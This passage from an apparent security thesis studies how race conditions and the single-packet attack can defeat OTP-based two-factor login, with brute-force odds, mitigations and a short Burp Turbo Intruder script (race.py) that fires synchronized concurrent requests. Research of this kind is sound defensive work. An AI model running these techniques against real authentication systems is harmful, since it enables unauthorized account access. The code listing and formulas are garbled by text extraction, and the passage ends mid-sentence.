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Summary

In the modern age, web applications have become a critical part of everyone’s
life, granting access to the digital world to hundreds of millions of people at each
second. This relevance required the implementation of authentication mechanisms
to identify the user, both for efficiency and security. One of the most employed
strategies in this field nowadays is the use of 2-Factor Authentication (2FA) and,
in particular, the adoption of One-Time Passwords (OTPs). Authentication mech-
anisms, however, have to be thoroughly developed, as they are one of the most
interesting—and thus attacked—points on the application’s surface.

In this thesis, developed with the help of the security experts at HN Security,
we will test the safety of the OTP-based authentication mechanisms by exploiting
the often neglected web application’s vulnerability class known as Race Conditions.
Starting from the latest discoveries on the subject, we created a distributed in-
frastructure on the AWS Cloud that allowed advanced testing of the OTP-based
procedures widely adopted by the majority of web applications these days. The
results of the testing phase provided concrete evidence of our approach’s correctness,
leading us to conclusions regarding the state of modern web application security
and suggestions for the implementation of the safety measures of the future.
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Chapter 1

Introduction

Before going into the details of this thesis, we must first understand what a web
application is and why its security is such a crucial concept nowadays.

1.1 The rise of Web Applications
When analyzing the current landscape in the digital world, we realize that the
majority of the online services are offered via web applications. The Britannica
Encyclopedia gives a very straightforward definition of what a web app is:
"Web application, computer program stored on a remote server and run by its users
via a Web browser."[1]

In general, we can say that a web application is a software program acces-
sible over the internet through a web browser like Google Chrome or Firefox.
It is typically divided into two parts: the part the user interacts with, called the
front-end, and the one that runs on the server and is responsible for processing
data and answering client requests, known as the back-end. The latter may also
be implemented as a web server, designed to interact with the client via the
HTTP protocol. An application may employ APIs to manage the interactions
between its different components, like the client-server communication or the data
exchange with third-party services.

Unlike a website, the content of a web application is generated on the fly and
tailored to each specific user. Moreover, they are highly interactive, as they rely
on a constant two-way flow of information between the server and browser, also
providing the user with a set of specific functionalities similar to traditional desktop
applications. To better understand their importance, think of someone buying the
latest article on Amazon’s marketplace, or a user watching a movie on Netflix,
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Introduction

or common situations like scrolling the posts on Facebook, listening to music on
Spotify, or reading your emails on Gmail. All of these are nothing more than
everyday interactions between users and web applications.

That being said, what is the reason behind their recent success?
Web applications provide in fact many advantages:

• They are accessible on any device that has a web browser, regardless of its
operating system. This is crucial for businesses that need to reach a wide
range of customers.

• They are simple to maintain and update. In particular, updates can be
implemented on the web server once and rolled out to all users simultaneously.

• The technologies and languages used for web applications are relatively simple.
A wide range of platforms, tools, open source code, and other resources are
available to facilitate the development process.

• Web interfaces use standard navigational and input controls that are im-
mediately familiar to users, avoiding the need to learn how each individual
application functions.

• Unlike traditional desktop applications, they offer a high level of scalability,
as they can be easily scaled up or down through the use of cloud resources.

With more and more service providers adopting web applications as their primary
product, soon the only client software that most computer users will need is a web
browser. As they become more prominent in our lives however, we need to develop
simultaneously a stronger, more widespread security awareness: the importance of
the actions that web applications are designed to perform may require the handling
of highly sensitive data. Think of a web application that allows users to perform a
bank transaction online; in this scenario, the relevance of web security becomes
evident. Nowadays, an attacker who compromises a web application may be able to
steal personal information, carry out financial fraud, and perform malicious actions
against other users.

The relevance of web applications today and in the years to come makes them the
ideal target for this thesis’s security analysis.

1.2 A closer look to Web Applications Security
Web applications have changed the way people interact with software, offering an
accessible, cross-platform solution that meets a wide range of users and companies’
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Introduction

interests. They have quickly become an integral part of online businesses, and
everyday they are employed to carry out critical operations or are trusted to
store and manage a great deal of sensitive information. Like any other software,
however, they have defects, or vulnerabilities; these become the main targets of
online attackers who intend to illegally exploit them for their own personal gain.
The number of cybercrimes has only grown with each passing year, fueled by the
evolution of web applications’ complexity, which brings not only new possibilities
for users and developers but also expands the attack surface that a malicious user
can exploit.

Figure 1.1: Overview of cybersecurity incidents in 2021 by Positive Technologies
[2]

In this scenario, the need to protect web applications and their services from
possible attacks started to become more urgent, forcing companies to invest funds
and conduct researches in the web application security field [3]. Web app secu-
rity is a very broad discipline that ultimately aims to resolve the possible harmful
defects of a web application and to shield it from incoming threats. This objective
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can be achieved in various ways, from leveraging coherent and safe development
practices to performing regular and detailed testing of the software in production.

Ideally, security should be integrated in a web application right from its design, but
this is not always the case. Secure coding best practices, however, highly reduce
the chances of having a critical vulnerability in your app, and should thus be always
considered the first line of defense against a possible attack. The easiest and safest
way for developers to implement a secure web application is then to follow the
OWASP guidelines. The OWASP (Open Web Application Security Project) is an
online no-profit foundation which produces articles, methodologies, documentation,
tools, and technologies which are dedicated to raising the awareness of organizations
on the possible risks faced by web applications. One of their most famous projects
is the OWASP Top 10; created in 2003 and regularly updated, it lists the 10 most
dangerous vulnerabilities an application in production may encounter, describing
related attack scenarios and guidelines to prevent them. Having an open-source
project like OWASP, which is shared worldwide, allows for a more objective view of
web applications issues, that are documented, cataloged and provided to developers
so that they can better integrate security in their programs.

Figure 1.2: Evolution of the OWASP Top 10 in recent years [4]

By following these guidelines, developers are able to correctly adopt safety
measures that protect their applications: they can design a secure access control
mechanism, in order to identify and manage the authorizations of each user entering
their system; they can employ the latest cryptographic best practices in order to
raise the level of security in the application; they might also develop an efficient
error and logging mechanisms, making the detection and defense against eventual
pitfalls much easier. Adhering to the best practices ultimately leads an organization
to develop a "secure software development life cycle" (SSDLC), which indicates
building and managing an application with security in mind right from the its
initial conception stages. In a similar scenario, developers may also adopt other
techniques like threat modelling, which is used to identify possible threats to
a system in order to better design effective countermeasures, and periodic code
reviews to check that the web application’s implementation is always up to date.
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Web app security, however, should not only be designed, but also periodically
tested. Web application testing is an important process that helps check the
program’s actual behavior, identifying eventual security vulnerabilities hidden in
the application’s logic. This process can be performed both manually and through
many different automatic tools, whether they are designed to analyze the source
code or to test the application for runtime security weaknesses. In general web
application testing can be divided into three categories based on the amount of
information available to the person or the tool that is performing the task: it can
be white box, when the testing system has full internal access to the application;
grey box, when the internal information of the web app to test is only partially
available; black box, when the testing system has to behave like a real attacker,
lacking any information about the system under testing.

One particular testing technique adopted for web application security, is penetra-
tion testing. For the NIST, the National Institute of Standards and Technology,
penetration testing is:
"A method of testing where testers target individual binary components or the
application as a whole to determine whether [...] vulnerabilities can be exploited to
compromise the application, its data, or its environment resources." [5]

Penetration testing is a testing technique which is mainly black box and, as
stated in the definition above, aims to find exploitable vulnerabilities, which
means software defects that can actually lead to a breach of the web application.
This technique requires a great deal of experience and skills, thus is typically carried
out manually from security experts that will behave as attackers and try to find
vulnerabilities to exploit in the system. Penetration testing is crucial to evaluate
the security of a web application; though other techniques are capable to find
software vulnerabilities, penetration testing is the best way to visualize how a
system will react when under attack.

For the above reason, this thesis will be heavily focusing on penetration test-
ing and will adopt its approach when carrying out analysis of web application
systems and their mechanisms. The ultimate goal of this work is to present a
technique that can expand a pentester’s possibilities when performing the test of
an application, hoping this will benefit all the security experts across the globe.
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Chapter 2

Authentication and the MFA
mechanism

Now that we understand what web applications are, it is time to look in depth at
some of their defense mechanisms—and in particular at those we plan to bypass.

2.1 The Authentication process

Web applications typically handle user access through the adoption of three main se-
curity mechanisms: authentication, session management, and access control.
These three elements are interconnected; if one of them fails, it can compromise
the whole application behavior.

In particular, authentication is the simplest and most basic block of the application’s
defense against malicious intruders: it is the process of verifying that the user ac-
cessing the web application is—in fact—who he claims to be. This process differs
from authorization: while the first identifies the user, the latter determines what
they are allowed to do once authenticated. For example, a user may be authenticated
but not authorized to use certain functionalities. As we can imagine, a failure in
authentication can cause a chain of failures in the whole access management process.

The first step in authenticating a user is to have them provide their credentials;
credentials may come in various forms: hardware tokens, certificates; the most
common, however, are username and password. In general, developers have at their
disposal a wide variety of technologies that can help them authenticating a user
entering in their systems:
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• Form-based Authentication: the most common strategy in web applica-
tions. It uses an HTML form to collect the username and password, which
are then submitted to the server in clear.

Figure 2.1: Form-based Authentication [6]

• Multi-stage Authentication: on security-critical applications the authenti-
cation process has been expanded on different stages that typically require
the user to provide additional credentials to access the system. As explained
later, combining different types of credentials can enhance the security of the
whole access control mechanism.

• Certificate Authentication: either a client or a mutual authentication is
implemented, and the outcome is based on the validity of the certificate the
peers are able to provide.

• HTTP Basic Authentication: simplest form of authentication. Credentials
are encoded in base-64 and sent in clear over the channel.

• HTTP Digest Authentication: more sophisticated than the Basic one.
Allows the client to send his credentials together with an MD5 keyed digest of
username, password and other sensitive data. It also uses a nonce to avoid
replay attacks.

• Kerberos Authentication: Kerberos is an authentication protocol that
uses cryptographic tickets to avoid transmitting plaintext passwords. Client
services obtain tickets and present them as their network credentials to gain
access to services.
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• Authentication Services: web applications may from time to time decide
to entrust user’s authentication to third-party providers, who will use their
services to safely identify the user for them.

Figure 2.2: An authentication process with the Auth0 service. [7]

Because of their importance, authentication mechanisms are usually very much
targeted in web applications. In fact, it is not so uncommon to find defects in these
functionalities, both in design or implementation, allowing attackers to guess user-
names or passwords or bypass the defense altogether, giving unauthorized access to
sensitive data and functionalities. To avoid such cases, security-critical applications,
like online banking, have expanded the authentication mechanism in a multi-step
procedure where the user must submit additional credentials at each level, such as
a PIN or a secret code. This strategy is called Multi-Factor Authentication
(MFA) and is usually found in two steps (Two-Factor Authentication, or 2FA).

When authenticating a user, we can employ three types of factors: something
the user knows, like a username and a password; something the user has, like a
mobile phone number or an email; and something the user is, like an inherence
factor (face recognition or fingerprint). In 2FA, we authenticate the user by em-
ploying two out of these three categories. The classic example of 2FA nowadays
is having the standard username-password authentication plus an additional step
where the user has to provide a unique secure code, also called OTP.

An OTP, or One-Time Password, is an automatically generated numeric or alphanu-
meric string of characters that authenticates a user for a single transaction. They
are typically generated by the backend using a set of random or pseudo-random
cryptographic functions; sometimes they may also be generated through hardware
solutions like security tokens, smart cards, etc. The main types of OTPs found
nowadays are:
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• TOTP: this category of OTP is time-based. The current time and a shared
secret key are used to generate the secret code. Typically it has a 30-60 second
validity, after which a new OTP has to be generated.

• HOTP: this type is HMAC-based. In fact, it uses a counter that passes
through an hash algorithm and is incremented at each OTP generated. Unlike
before, the HOTPs are valid until they are used once; only then is the counter
incremented.

OTPs are mostly sent to the user via SMS messages, connecting the user account
with his phone number. Another solution, however, is to have the secret code
passed to the user in a phone call, avoiding any storage of the password. Recently,
given that SMS do not give anymore the proper security for the OTP exchange,
web applications are designed to send the secret code via push notifications that
could or could not be received by a dedicated app. We can find examples of OTP
usage all around us: for activating banking payments or confirming high-value
transactions, for dealing with password loss, for accessing government services,
recognizing unfamiliar devices, or restricting access to personal information.

OTPs give the authentication mechanism an additional layer of security, pro-
viding a second factor of authentication and avoiding replay attacks. A malicious
user could, however, still employ techniques like phishing or SIM swap in order
to steal the one-time password. That is why new approaches to MFA are con-
tinuously designed and tested. Modern trends consist of "device-less" MFA, with
browser tokens used to create the OTP instantly with the only intervention of
the web browser itself. Another new approach is to employ biometric authentica-
tion that uses facial or fingertips recognition to enhance the mechanism. Lastly,
the world is rapidly approaching the so-called password-less authentication; this
strategy is aimed at eliminating traditional passwords in favor of biometric au-
thentication and cryptographic functions that create secure keys for specific devices.

In the meantime, however, OTPs are the main solution to strengthen the au-
thentication process, and this makes them a very interesting target: if the OTP
mechanism is broken, the security of a web application would be highly compro-
mised.

2.2 OTPs: are they really secure?
Two-Factor authentication is full of myths and misconceptions [8]. The simple fact
of adding a second factor to the authentication process is in fact not enough to
deem a system as inherently more secure than one that has only a password-based
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method to manage user access. Why?

Firstly, it is common to divide authentication factors into categories like "pos-
session", "knowledge", and "inheritance", but this division is not really useful. As
far as the common methods are concerned, they can all be included in the "posses-
sion" category: possession of the password; possession of the mobile device; even
fingertips can be considered something that the user "possesses". A more useful
approach is to consider the use of each factor based only on their peculiar features:

• Passwords are stored in memory, often reused, sometimes not complex enough.

• Hardware tokens are portable, not hard to lose, and almost impossible to back
up;

• Email or SMS code should pass through secure providers, but most of the
time this is not the case, which can lead to security threats.

Adding a second factor to your authentication surely adds to the system complexity
but also brings some side effects that should be understood. Of course, an additional
factor does slow down the process of authenticating a user, but we should consider
that it does not protect from malware or viruses. If an attacker infects a computer
with a malware, he can just wait until the user provides a valid OTP, so 2FA only
slows him down for a while. A similar situation happens if the hacker has access to
your email, being then able to change your password indiscriminately.
Another issue is that using only six digits for an OTP is a grave security imple-
mentation mistake. In fact, by using a code of only 6 digits, we are vulnerable to
brute-force attacks, and we cannot prevent them except by locking the attacked
account, creating issues with the legitimate users. Using a time-based OTP that
expires after a certain time does not solve the issue at all—as we will see later. To
sum it up, there’s no scenario in which a simple password + 2FA is safer than a
very secure password.

Figure 2.3: 2FA adds a second step, but it is not bulletproof. [9]
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Now, consider OTPs. What is not really understood by web developers is that
adding this measure to protect an account provides safety only if tied to a proper
throttling/locking strategy. Without that, a TOTP like the one provided from
Google Authenticator can be brute-forced by an attacker in three days, and in
some cases, even before that.

Imagine a scenario in which an attacker has found the username and password
of a victim and was able to successfully pass the first stage of authentication.
Now, he will have to provide an OTP to have complete access to the victim’s
account. Since he does not have control over the user’s device or on the au-
thenticator, the only thing he can do is guess the right code. If we think of a
Google Authenticator code, that is made by 6 digits—so 1.000.000 possible com-
binations—and has a 30 second timeout. Let us assume that the attacker can
perform 10 requests per second. The probability of finding the right OTP will be:
(30 x 10)/1000000 = 0.0003 = 0.03%.
Although this does look like a very low probability of success, it is based on wrong
assumptions by the defender.

First of all, as stated in this blog post [10], the attacker does not need to have the
100% probability of success; he just needs to have a good chance. Moreover, after
the timeout of the first OTP expires, an attacker can just try the next one. Though
this does prevent him from trying every possible combination, it still does not take
away from him the possibility of having a good chance at success. Focusing on the
math, the probability is:

P robabilityOfSuccess = 1 − P robabilityOfF ailure

In this situation, all it takes is to find one successful combination in order to have
an overall success; meanwhile, in order to have a failure, we need to fail at every
try. This means that the probability of overall failure is equal to the possibility of
failing at the first try times the possibility of failing at the second try... and so on
for every single iteration. At the end, we have:

P robabilityOfF ailure = P robF ailingOnceNumOfAttempts

Working on this last equation, we can say something more on the two terms on
the right-hand side. In particular, we know that, since there’s only one valid code
among all the possibilities, and since the number of attempts is related to the
requests the attacker can make in that time, the following is true:

P robF ailingOnce = 1 − 1
NumberOfP ossibilities

NumOfAttempts = ReqP erSeconds × T imeInSeconds

11



Authentication and the MFA mechanism

Putting all of this together, we can derive the time in seconds as:

T imeInSeconds =
ln (1 − P robabilityOfSuccess)

ln (1 − 1
NumberOfP ossibilities

) × ReqP erSeconds

Now, with this equation, it is possible to discover how long it would take for an
attacker to break an OTP of 6 digits. Let’s assume that, as we said, the hacker
does not want the 100% probability of success but just settles for a good chance

—assume 90%. Knowing that the number of possibilities with 6 digits is 1000000
codes, and imagining that the attacker can make 10 requests each second, we obtain
that:

T imeInSeconds =
ln (1 − 0.9)

ln (1 − 1
1000000) × 10

T imeInSeconds =
ln (0.1)

ln (0.999999) × 10
=

−2.30258
(−1 × 10−6) × 10

= 230258

230258 seconds = 3037.63 minutes = 63.9606 hours = 2.67 days

The above result shows that a persistent attacker can break an OTP in less than
three days; though this looks unpractical for hacking a normal user, it becomes
more interesting when the breach leads an attacker to obtain crucial data or func-
tionalities. Note also that the timeout does not appear in the formula; the timeout
may give a change in usability but does not provide any benefit security-wise, as
does not change the fact that the attacker has the same chance when guessing
randomly a single code. The time for a brute-force may reduce if instead of a high
success chance (90%) the attacker settles down for even odds (50%). Then, how
can this attack be prevented?

The first mitigation that should be in place is request throttling or, better
yet, client rate-limiting. Their aim is to control the rate at which client re-
quests can be made to the network, the server, or any other resources, limiting the
maximum number of possible requests in a specific time frame. When the limit
is reached, the service may reject or delay other requests until the next window
begins. These measures, however, have to be implemented in the right manner.
They have to be enforced on a per-user basis and should not be tied to the IP
address of the user, as we saw that an attacker can easily change it or rent multiple
addresses to carry out the attack. Lastly, by using throttling, the system impacts
the ReqPerSeconds value in the previous equation, lowering it and thus raising the
time it takes to break an OTP. However, even if the time required reaches a month,
it is still good enough for some attackers when the target is important enough.
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Figure 2.4: API Throttling. [11]

The second technique that can be used is account locking. This is far more
secure than throttling, but should be enforced only at the second stage of the
authentication, or the system will be vulnerable to DOS. Moreover, by implementing
this, the programmer has to develop also unlocking policies and mechanisms. A
similar but more effective solution is to implement a back-off mechanism based
on the number of failed attempts. An example is to have an exponential back-off
that lock an account for 1, 2, 4, 8, 16,... seconds based on the number of wrong
tries. The benefits of this technique are clear: it does not slow down legitimate
users; it requires little memory storage, it is more effective than throttling but more
user-friendly than account locking; does not need unlocking policies and expires
automatically; can be used alongside some messages to warn the real user that he
is being attacked.

Figure 2.5: The attacker is locked out for a period using a back-off. [12]

Lastly, increasing the token length does indeed help, raising the number of
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possible combinations in the previously shown equation. Also, the programmer
could add to the digits the use of the alphabetic characters, making it significantly
harder for an attacker to find the right code in a feasible time.
All these solutions have to be taken into account when dealing with OTPs and
security because of the critical role such codes have in modern systems. OTPs
can be in fact seen as another type of password, and a password will always be
inherently vulnerable. Is there another way then?

2.3 Passwordless Authentication
Passwordless authentication [13] is a modern authentication method that,
instead of requiring a password from the user, asks them to enter another form of
evidence, typically inherence factors or ownership ones. Passwordless authentication
should not be confused with Multi-Factor Authentication: while MFA is used
as an additional layer of security above a password-based system, passwordless
solutions do not require a stored secret and instead focus on only one highly secure
factor, making the process simpler and faster. Of course, MFA and passwordless
authentication can be used together, along with SSO techniques, to enhance the
user experience.

Figure 2.6: Passwordless and Device Authentication. [14]

Nowadays, after the pandemic, the business world has shifted towards a new
hybrid situation, where the employees may work both in presence or remotely. With
this change in dynamics, the modern workspace has to guarantee secure access
from any place and device. The context has become so distributed, however, that
the attack surface has expanded indefinitely, and sensitive data is available all over
the place. Hackers have thus improved their arsenal and found fertile ground to
hunt for vulnerabilities, with passwords that ultimately become a system’s weakest
link. In their daily lives, people interact with a huge number of different services
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and have to memorize a crescent set of frequently changing passwords. Because of
this, users tend to adopt simple passwords, reusing them or storing them unsafely.
Wrongdoers may exploit these bad practices to mount cyberattacks aimed at obtain-
ing sensitive data, like brute-force methods, keylogging, and phishing. Moreover,
for many IT departments, password support and maintenance is the biggest expense.

The idea of a passwordless system had been teased since two decades ago, when
technology leaders like Bill Gates and IBM pointed out the fact that passwords only
led to security vulnerabilities. However, up to the 2000s, the costs of a transition
towards a passwordless world were still too high. In 2013, however, the leading
global technological institutions created the Fast Identity Online Alliance, or
FIDO, whose objective is to promote new authentication paradigms. Together with
the World Wide Web Consortium (W3C), in 2018 they developed the Fido2Project
with the aim of planning a passwordless digital world where users can authenticate
using just the unlock mechanisms of their devices (biometric authentication, PIN,
fingerprint, etc.). Since in this scenario the user authentication is strictly related
to the specific device he is using, these techniques are also categorized as device
authentication. With the recent WebAuth standard, these techniques have been
employed to develop new passwordless technologies like Windows Hello, Google
Passkey, and many more [15].

When the user adopts a device authentication technique like FIDO to authen-
ticate, there are typically two stages to follow. The first is the registration
process; the user has to register with a system before his identity can be confirmed.
The registration process can be summed up in a few steps:

• The user asks to be registered using FIDO, and the server will send to his
device a registration request.

• Once the registration request is received, the user chooses a method of
authentication, like facial recognition or fingerprints.

• The device generates a cryptographic key pair, sending the public key to the
server for future verification and storing the private key on the device itself.

After the registration is completed, the user can access that system with the FIDO
authentication. The login can be described as:

• When the user tries to log in, the server sends a challenge his way.

• The user unlocks the private key required to solve the challenge using the
previously chosen method of authentication.

• The user solves the challenge and digitally signs the answer, sending it to the
server, which will verify the signature.
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• Upon success, the user is logged in.

Organizations and users can decide which authentication method, crucial to un-
locking the private key, is more suitable for their need; available choices range from
native solutions (for ex. Google Chrome), hardware or software tokens, biometrics,
third-party providers, magic links via email, and many more.

Figure 2.7: A detailed look to how FIDO works. [16]

Between the various authentication methods, however, it is important to pay
special attention when employing the use of OTPs. As explained in the previous
section, an OTP is nothing more than a password that the user does not need to
store, but instead just receives on his preferred channel. However, OTPs can be
easily phished and intercepted; think of a SIM swap attack to compromise a phone
number and intercept the SMS with the OTP, or the use of social engineering to
fool users into sharing sensitive data. Additionally, OTPs add an overhead in the
authentication process, leading to user dissatisfaction and dropout. Safer alterna-
tives that are nowadays more and more adopted are systems based on biological
traits like face recognition, fingertips scanners, voice recognition, and others. These
mechanisms offer grater security than OTPs and also provide a better and more
efficient user experience.
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Though the transition to a digital passwordless world may have costs, organi-
zations are starting to march towards it. Passwordless systems provide better
security, as they prevent all possible cyberattacks based both on the simplicity of a
password and on inappropriate storage or sharing. At the same time, they enhance
the user experience by limiting the number of passwords to remember and offering
a faster way to access a large variety of systems. Lastly, and more importantly, they
reduce costs for enterprises in scalability and in password management. One of the
main causes of helpdesk calls are password reset, and a study [17] has highlighted
that these resets cost $70 each, creating a detraction of $1 million per year.
Faced with the chance of developing a more secure, more efficient system that at
the same time fixes a similar outlay of money, surely more organizations are going
to take this direction in the future.
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Chapter 3

An Overlooked Vulnerability:
Race Conditions

After this brief overview of the context, the following pages will present how
to perform a realistic attack aimed at breaking the 2FA mechanism of a web
application. Luckily, no system is completely secure, and a vulnerability often
overlooked by developers is race condition.

3.1 Race conditions and multithreading
To understand race conditions and the theory behind them, we have to first discuss
the concept of multithreading.

Traditional processes were designed to be independent, self-contained units of
computation [18]. However, because of their single point of control and the huge
amount of resources related to them, they presented difficulties when dealing with
applications made by a number of different and concurrent tasks. To solve this
issue, threads were created. A thread [19] is the basic unit of computation and can
be used to represent a running task issued by a program. Adopting multi-thread
programming has many advantages:

• Resource Sharing: different threads of the same process share the same set of
resources, reducing overhead and memory occupation.

• Scalability: a process can scale easily by using multiprocessor architectures.

• Responsiveness: even if a thread is stuck or is busy, other tasks are independent,
and thus the program can keep on going.
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The greatest advantage, however, is that threads allow to improve performance by
enabling parallelism and concurrency. Concurrency indicates having more tasks
making progress at the same time but not actually being run simultaneously. In a
multiprocessor environment, however, thanks to multi-threading, we are able to
achieve not only concurrency but also parallelism; this means that the concurrent
threads are now run on separate processors [20]. Thanks to these principles, modern
web applications could be easily managed by systems that adopt a multi-thread
approach, scheduling a thread for each independent, concurrent task and raising,
in this way, the hardware performances.

As we saw, multi-threading offers great benefits, and it is nowadays the standard
for modern computer architectures. That being said, having a set of independent
threads performing each their own task while, at the same time, sharing the same
memory resources creates a major issue: synchronization. Without synchroniza-
tion we could have threads interfering with each other, causing consistency problems.
Imagine two running threads: at a certain time, one of them accesses the memory
to read a value; in the same moment, the other may access the memory to edit
that value; the execution of the first one is then compromised because it reads the
updated value instead of the expected one! This is an example of a race condition.

Race conditions are vulnerabilities "caused by an unpredictable ordering of (atomic)
events in which at least one sequence results in unwanted behavior of the appli-
cation" [21]. The atomic events are the instructions that make up the various
tasks, while the "unpredictable order" is caused by the non-deterministic nature
of the parallel threads execution. In short, the possibility of exploiting paral-
lelism and concurrency to raise performances has as a drawback the eventuality
of simultaneous, unprotected resource access, compromising the program’s outcome.

While the concept of race condition is important for multi-threading systems,
it is also very relevant in the web application field. The OWASP, an open source
project that provides instruments, methodologies, and guidelines for web app secu-
rity, defines race conditions in this context as "a flaw that produces an unexpected
result when the timing of actions impacts other actions" [22]. Web applications
are often conceived as sequential entities, but what is often neglected is that not
only an app can have different tasks performed simultaneously, it may also have
multiple similar requests concurrently executed. If the developer fails to anticipate
these circumstances, unforeseen interactions between various tasks could alter the
application’s intended behavior [23]. Furthermore, since the user has full control of
his side of the channel, he may send his requests in a way that can cause a race
condition in the targeted web application.
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To clarify this concept, let’s make an example.
A web application handles users’ bank accounts and checks their balance before
issuing any transaction on their account’s money amount. Let’s assume one account
stores an amount of 2000$. A request is received for a 1000$ transfer from the
account, and the server checks the validity of the transaction; 2000 > 1000 so the
operation is valid.
At the same time, however, the server receives another request for a transfer amount-
ing to $1500. As previously done, it will check the validity of the transaction;
the issue is that the previous fund transfer is not yet completed and hasn’t yet
updated the value of the account’s total amount in memory. When the thread goes
to retrieve it, it will find 2000$, and since it’s more than 1500$, the operation will
be authorized.
The final result is that, instead of just one transaction being carried out, both
operations will be completed successfully, with the account’s amount reduced to
the impossible value of -$500.

Figure 3.1: A visual representation of the example: the two checks arrive at the
same time, bypassing the security check. [24]

Another example in web applications is typically found when applying a coupon
discount: the system will check the validity of the coupon’s code and, in case of
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success, it will apply the discount. If the application does not enforce some defenses
against concurrency, an attacker can simultaneously send multiple requests with
the same coupon code. In this way, if at least one other request arrives before
the first check is finished, he will be able to have a major discount from the same
coupon code.
This situation is depicted in Figure 3.2.

Figure 3.2: The coupon’s example: the concurrent requests both pass the check,
allowing for a greater discount from the same code. [25]

To exploit successfully a race condition, it is crucial for the concurrent requests
to land in the so-called race window, the brief period in which the race condition
is present and can be exploited. In the examples above, the window happens
before the check of the first request is concluded; for this reason, we also speak of
race conditions as time-of-check time-of-use vulnerabilities (or TOCTOU).
The attacker exploits the time gap between the first validity check (of the bank
account amount in one case, of the coupon code on the other) and the use of that
same variable later (the update of the account’s amount and the invalidation of
the coupon’s code). During that time window, an attacker can use synchronized
requests to bypass the application’s imposed limitations over the user behavior.
These exploits are thus also called limit-overruns.

Over the course of the years, numerous studies have been conducted on race
conditions in web applications [23] [21] [26] [27] [28], but, in general, this issue has
often been overlooked by developers. In fact, while similar situations are easily
spotted in local environments, they are much harder to reproduce —and to test
for—on the web. This is mainly due to an important factor: network jitter. Jitter
arbitrarily delays the arrival of TCP packets, causing a random delay from when
the request is transmitted to when it is received. You can imagine it as what causes
the common connection’s problems present during video calls or streaming service.
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Jitter makes the response time unreliable, creating a seemingly insurmountable
obstacle to aligning the attack windows for finding and exploiting the vulnerability.
Thus, while appearing here and there, many believed that race conditions could
just not lead to feasible attacks.

This situation changed last year, when novel research presented a way to overcome
the jitter problem, leading to new possibilities for the test and exploit of race
conditions.

3.2 The recent discoveries on the subject

Network jitter was the main adversary of attackers and web application testers
aiming to exploit race conditions. Since the key factor in a race condition is timing,
this unreliable delay made it impossible to design appropriate attacks in order
to find the right race window. In recent years, however, researcher James Kettle
presented a series of articles that provided a new way of thinking about race
conditions [29]. In Kettle’s opinion, in fact, the true potential of race conditions
goes far beyond the typical limit-overrun vulnerabilities found in web apps up until
then.

In the security department, it is common knowledge that multi-step sequences
are a good target for vulnerability hunting. This is due to the added complexity
of interactions between different steps, which allows the attacker to manipulate
the application’s flow. Kettle recognized that "with timing and race conditions,
everything is multi-step"! The reason is that in web applications, unlike common
belief, requests are not processed atomically but take some time to be completed.
This means that there is a window in which an application moves through a fleeting
hidden state: a sub-state.
In order to find a sub-state, a collision is required. A collision can be summed
up as the interaction between at least two requests: the first triggers the con-
dition while the other accesses the shared resource at the same time. But, as
previously discussed, network jitter hided collisions, making them hard to spot and
non-reproducible.

To make race conditions and timing attacks more feasible on the web, dif-
ferent techniques were designed. The first interesting approach is the Timeless
Timing Attack [30]: this technique allows to stuff two HTTP/2 requests into a
single TCP packet. With this solution, we are able to solve network jitter because
the two requests arrive at the server at the same time! However, this alone is not
enough; in order to create a collision, it is not enough to send just two packets,
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Figure 3.3: A multi-step sequence: the user is an admin for a few seconds, giving
the possibility for unauthorized admin access. [29]

as they may be victims of server-side jitter. This delay in request processing
is caused by uncontrollable server variables, so we need to reach the application’s
backend with as many requests as possible. To achieve this, we can employ last
byte synchronization: since servers typically process a request only when it is
deemed completed, in HTTP/1.1 it was possible to send a request in different parts
and have it processed only once the last byte arrived at the server.
By combining these two techniques, Kettle developed a new solution called "single
packet attack".

Figure 3.4: A representation of the timeless timing attack. [29]

An early implementation of the SPA was created three years prior [31], but
Kettle presented a tested version that could revolutionize the way security testers
search for timing attacks. The SPA enables an attacker to send 20-30 requests
concurrently to an application’s server. The basic idea is to split our request batch
into different TCP packets and send them to the server while withholding the last
byte of each request. Like in last-byte synchronization, the server does not process
the requests until they are completed, collecting them until the last bytes arrive.
Then, using the timeless timing attack’s principle, all the last bytes are stuffed into
a single TCP packet and sent to the server. As far as the backend is concerned,
since the last byte of each request arrives with the last TCP packet, the whole
batch is processed like it has been received at the same time. This highly raises
the chance of a race condition being exploited.

Below it is shown the code, developed by Kettle and available on the Burp
Suite Turbo Intruder feature, of a script that uses the single packet attack to
send concurrently the same request multiple times. In the first part of the code,
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Figure 3.5: A closer look to the SPA: the last TCP packet contains the last bytes
of every previous request. [29]

the engine parameter is initialized; here we define the endpoint, the connection’s
parameters like the number of concurrent requests, and an engine type that will
prepare the stack and other components to carry out the attack. After that, there
is typically a for-loop in which the requests are queued to a gate, a component
that will withhold the last byte of each of them. Lastly, the gate is opened and
the last bytes are sent as a unique request, making the server believe that all the
requests have arrived at the same time.

Listing 3.1: race.py
1 de f queueRequests ( target , w o r d l i s t s ) :
2

3 # i f the t a r g e t supports HTTP/2 , use eng ine=Engine .BURP2 to
t r i g g e r the s i n g l e −packet attack

4 # i f they only support HTTP/1 , use Engine .THREADED or Engine .BURP
ins t ead

5 # f o r more in format ion , check out https : // por t sw igger . net /
r e s ea r ch /smashing−the−s ta te −machine

6 eng ine = RequestEngine ( endpoint=t a r g e t . endpoint ,
7 concurrentConnect ions =1,
8 eng ine=Engine .BURP2
9 )

10

11 # the ’ gate ’ argument withholds part o f each reque s t u n t i l
openGate i s invoked

12 # i f you see a negat ive timestamp , the s e r v e r responded be f o r e
the r eque s t was complete

13 f o r i in range (20) :
14 eng ine . queue ( t a r g e t . req , gate =’ race1 ’ )
15

16 # once every ’ race1 ’ tagged reque s t has been queued
17 # invoke engine . openGate ( ) to send them in sync
18 eng ine . openGate ( ’ race1 ’ )
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With this new approach, Kettle measured the time between the execution of the
execution of first and the last request in the batch. He obtained the following
results, which are compared to the last byte synchronization technique: Summing

Technique: Median Spread: Standard Deviation:
Last-byte sync 4ms 3ms

Single-packet attack 1ms 0.3ms

Table 3.1: Timing results of last-byte sync and SPA confrontation

up, we are executing the majority of the bath in the space of 1 ms. These tests
also show that while with the previous technique took almost 2 hours to exploit a
race condition, SPA could do that in 30 seconds. Moreover, new collisions could
be found thanks to the new solution, both on the same endpoint and on multiple
endpoints of the same application.

Speaking of tests, let’s take a look at an example of race condition Kettle ex-
ploited using the single-packet attack. We are dealing with a single-endpoint
collision: while probing for vulnerabilities on GitLab, Kettle focused on the app’s
functionality that lets you "verify" an email address. If an attacker can verify
an email he doesn’t control, then he can hijack pending invitations to project
collaborations or accounts on third-party websites. The functionality’s flow can be
